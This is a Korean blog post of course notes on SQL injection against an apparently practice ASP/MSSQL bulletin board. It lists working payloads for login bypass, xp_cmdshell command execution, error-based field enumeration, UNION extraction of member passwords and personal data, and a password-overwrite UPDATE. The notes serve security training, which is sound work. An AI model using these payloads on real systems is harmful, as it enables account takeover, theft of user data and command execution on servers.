네트워크 해킹 - 20. SQL injection [작업중]
by jennysgapSQL injection
- injection 공격류는 기존에 제공되는 기능 외 다른 기능을 추가하여
오류가 발생되는 상태를 확인하고 정보를 획득할 수 있도록 하는 기술.
1.1 select 구문
select fields from table_name;
select fields from table_name where field=value; (conditional)
select fields from table_name where field LIKE %KEY%
select * from member where bId='admin' -- ' and bPass=' '
1.2 create, update, drop 구문
1.3 SQL 확장 구문
select fields from table_name union select
select fields from table_name; exec master..xp_cmdshell 'command'
>> 주로 검색창에서 적용되는 기술로, 출력형태에 따라 DB에서 작업된 내용이 화면이 표시될 수 있는 SET를 찾는 것이 기술.
select fields from where contents LIKE '%KEY%'; KEY%'; exec master..xp_cmdshell 'ping 172.16.xx.xx'--
1.4 injection에 사용되는 구문 사용
- SQL comment 사용 : DB마다 사용 하는 주석문의 형식 인지
select bId, bPass from member where bId='admin' and bPass='1234';
select bId, bPass from member where bId='admin'--' and bPass='1234';
select bId, bPass from member where bId='변수' and bPass='변수';
bId='1=1' or '' and bPass='' or '1=1'
ID : 'or''=' Pass : 'or''='
(원구문) select * from bbs where tTitle LIKE '%KEY%' 제목 검색창 구문은 위에처럼 되어있음 (WEB) KEY%' (변형) KEY%' ; exe master..xp_cmdshell 'md c:\board\pds\hackme'--
2. Union 구문을 이용한 테이블 정보 빼기
group by 절을 이용한 데이터베이스 필드 알아내기
- union 구문을 사용하여 다른 테이블의 정보를 현재 이용하고 있는 테이블로 불러 들일 수 있음.
- 다른 테이블의 정보를 불러 올 때 테이블의 인덱스가 서로 다른 타입이라면 불러올 수 없으므로
불러올 테이블의 필드 및 필드 타입 정보와 현재 이용되고 있는 필드 및 필드 타입 정보를 맞추 필요가 있음.
- SQL injection을 이용한 로그인 시도 시 App방화벽 등에 의해 차단 될 수 있고,
키 값을 방어하는 Secure code가 적용 된 경우 사용이 불가하므로 로그인 이후 검색 창을 이용하는 경우가 많음.
- DB에 대한 공격 시 주로 추론에 의한 공격이 많으므로 필드 등을 유추할 경우에도 게시판 등의 테이블 정보를 알아내는 거이 필수 적.
오류 발생 : 'having 1=1-- (group by절을 제외할 경우 오류) >> 테이블명.field_name ' group by idx-- (첫번째 인덱스를 이용한 정렬 기준 시 오류) >> 두 번째 필드의 이름 정보 출력 ' group by idx, tid-- (1,2 인덱스를 이용한 정렬 기준 시 오류) >> 세 번째 필드의 이름 정보 출력
* 출력되는 필드의 타입 정보를 추론한다.
bbs table member table
idx : int idx : int
tId : varchar(varchar) bId : varchar
tMail : varchar bPass : varchar
tName : varchar bName : varchar
tTitle : varchar bPost : varchar
tContent : varchar bAddr1 : varchar
tfilename : varchar bAddr2 : varchar
tpath : varchar bPhone : varchar
tRead : int bMail : varchar
tDate : datetime bDate : datetime
* 추론으로 알아낸 필드의 타입은 검증이 필요함
key%' union select sum(tid) from bbs-- (검색부에 입력 시)
key%' union select sum(bId) from member--
>> 추론으로 형성된 데이터를 검증하여 타입 정보를 확인함.
* 확인 후 상호 호환되지 않는 필드는 별도의 값을 사용하여 출력이 일어날 수 있도록 한다.
원구문 : select * from bbs where tTitle LIKE '%KEY%'
추가구문 : union select idx, bId, bPass, bName, bPost, bAddr1, bAddr2, bPhone, 1, bDate from member;--
3. 기타 SQL 명령의 적용
>> 패스워드 임의 변경
KEY%' ; update member set bPass='new_password' where bId='user'--
4. 실습
login_ck.asp
4.1 관리자 아이디로 로그인 해보기
1) 최초에 오류가 났는지 확인
2) 데이터베이스에 오류가 났다는 것을 확인
3) 관리자 아이디 추측
4) 뒤에 문자를 주서문 처리하면 됨!!
5) 관리자 아이디로 로그인 완료!
4.2 관리자 ID가 유추가 안될 때, 어떻게????
1) 참값 주면 됨
2) '' or '1=1' and bPass='' or '1=1';
ID 'or''=' ' or '1'='1 ' or 'A'='A
PW 'or''=' ' or '1'='1 ' or 'A'='A
3) 이렇게 될 경우 관리자는 거의 1번이기 때문에 관리자로 로그인 됨
4.3 로그인 후에도 injection 할 수 있는 곳이 있음
1) 검색창에 ' 입력 ---> 확인
select * from bbs where tTitle LIKE '%KEY%'
2) 이순신'; exec master..xp_cmdshell 'ipconfig'--
출력이 안됨
3) 이순신'; exec master..xp_cmdshell 'md hackme'--
system32 폴더 안에 생김 그러니 위치 조정하면 됨
4) 이순신'; exec master..xp_cmdshell 'md C:\board\pds\hackme'--
4.4 Union 구문을 이용해 보기
- 출력 부분을 덮어씌어서 보겠다는 의미
- 오류를 잘 봐야 함!!!! (정보를 알아내기 위해서)
1) park1%' having 1=1 -- (일부러 오류내서 정보 알아내기)
2) 오류 형식 3번째 줄을 보면 bbs.idx 로 확인! int인 즉 숫자로 타입 확인 (테이블 명과 1번째 필드명을 알 수 있음)
3) park1%' group by idx-- (bbs.tId 2번째 필드명을 알 수 있음)
4) park1%' group by idx,tId-- (bbs.tName 3번째 필드명을 알 수 있음)
이런 식으로 계속 찾아냄
park1%' group by idx,tId,tName--
park1%' group by idx,tId,tName,tMail--
park1%' group by idx,tId,tName,tMail,tTitle--
park1%' group by idx,tId,tName,tMail,tTitle,tContent--
park1%' group by idx,tId,tName,tMail,tTitle,tContent,tfilename--
park1%' group by idx,tId,tName,tMail,tTitle,tContent,tfilename,tfilepath--
park1%' group by idx,tId,tName,tMail,tTitle,tContent,tfilename,tfilepath,tRead--
park1%' group by idx,tId,tName,tMail,tTitle,tContent,tfilename,tfilepath,tRead,tDate--
5) 마지막에서 아무것도 안나오면 필드가 끝남 (몇개의 필드가 있는지 알 수 있음)
6) 테이블을 덮으려면 다른 테이블도 알아야 함 (이제부터는 추론해서 알아내야 함)
[bbs]
idx
tId
tName
tMail
tTitle
tContent
tfilename
tfilepath
tRead
tDate
7) 추론으로 알아낸 필드의 탑은 검증이 필요함
key%' union select sum(tId) from bbs;--
key%' union select sum(idx) from bbs;--
8) 얹혀지는지 먼저 확인
select * from bbs where tName LIKE '%관리자%'
union select idx, bId, bPass, bName, bPost, bAddr1, bAddr2, bPhone, 1, bDate from member;
9) 검색창에 검색
%' union select idx, bPost, bPass, bName, bId, bAddr1, bAddr2, bPhone, 1, bDate from member--
'BOX' 카테고리의 다른 글
책책책 - 01. 와이어샤크를 활용한 실전 패킷 분석 (0) | 2016.12.29 |
---|---|
네트워크 해킹 - 21. WEB shell Attack (0) | 2016.12.29 |
네트워크 해킹 - 19. GoogleDork를 이용한 정보 수집 (0) | 2016.12.29 |
네트워크 해킹 - 18. URI 조작 공격 (0) | 2016.12.29 |
Kali Linux 설치 - 08. 서비스 관리 (0) | 2016.12.22 |
블로그의 정보
jennysgap
jennysgap